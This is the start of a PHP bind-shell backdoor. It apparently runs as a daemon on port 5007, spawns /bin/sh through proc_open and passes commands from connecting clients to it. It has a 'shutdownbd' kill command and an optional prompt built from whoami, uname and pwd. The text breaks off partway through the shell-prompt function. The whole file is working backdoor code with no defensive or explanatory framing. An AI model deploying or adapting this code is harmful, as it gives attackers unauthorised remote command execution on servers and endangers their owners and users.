define('LISTEN_PORT', '5007');
define('TIMEOUT_SECONDS', 15 * 60); // timeout for the client connection
define('SHUTDOWN_CMD', 'shutdownbd'); // shuts down the daemon when the client sends this
define('USLEEP_COMMAND_WAIT', 100000); // how much to halt in the loop for reading commands from the client
define('USLEEP_NEWUSER_WAIT', 1000000); // how much to halt in the loop for receiving connections
define('FANCY_SHELL', 0); // 1 or 0; fancy shell is `whoami`@`uname -n`:`pwd`$
define('BUF_SIZ', 2048);
define('FD_WRITE', 0);
define('FD_READ', 1);
define('FD_ERR', 2);
if (function_exists('pcntl_fork') === false) {
die('PCNTL functions not available on this PHP installation');
}
function my_socket_close($socket) {
socket_shutdown($socket);
socket_close($socket);
}
class Client {
private $socket;
public function __construct($socket) {
socket_set_nonblock($socket);
$this->socket = $socket;
}
public function __destruct() {
my_socket_close($this->socket);
}
public function Send($msg) {
return socket_write($this->socket, $msg, strlen($msg));
}
public function Read() {
return socket_read($this->socket, BUF_SIZ);
}
}
class Shell {
private $cmd;
private $pipes;
public function __construct() {
$cmd = proc_open("/bin/sh", array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $pipes);
if ($cmd !== false) {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, 0);
}
$this->pipes = $pipes;
$this->cmd = $cmd;
} else {
throw new Exception("Couldn't run /bin/sh.");
}
}
public function __destroy() {
foreach ($this->pipes as $pipe) {
fclose($pipe);
}
proc_close($this->cmd);
}
public function SendCMD($msg) {
$msg = $msg . "\n";
fwrite($this->pipes[FD_WRITE], $msg, strlen($msg));
}
public function Read() {
return $this->recv($this->pipes[FD_READ]);
}
public function ReadErr() {
return $this->recv($this->pipes[FD_ERR]);
}
public function GetShell() {
if (FANCY_SHELL === 0) {
return '$ ';
}
$this->SendCMD("whoami;");
do {
$whoami = $this->Read();
} while (strlen($whoami) === 0);
$this->SendCMD("uname -n;");
do {
$uname = $this->Read();
} while (strlen($uname) === 0);
$this->SendCMD("pwd;");
do {
$pwd = $this->Read();
} while (strlen($pwd) === 0);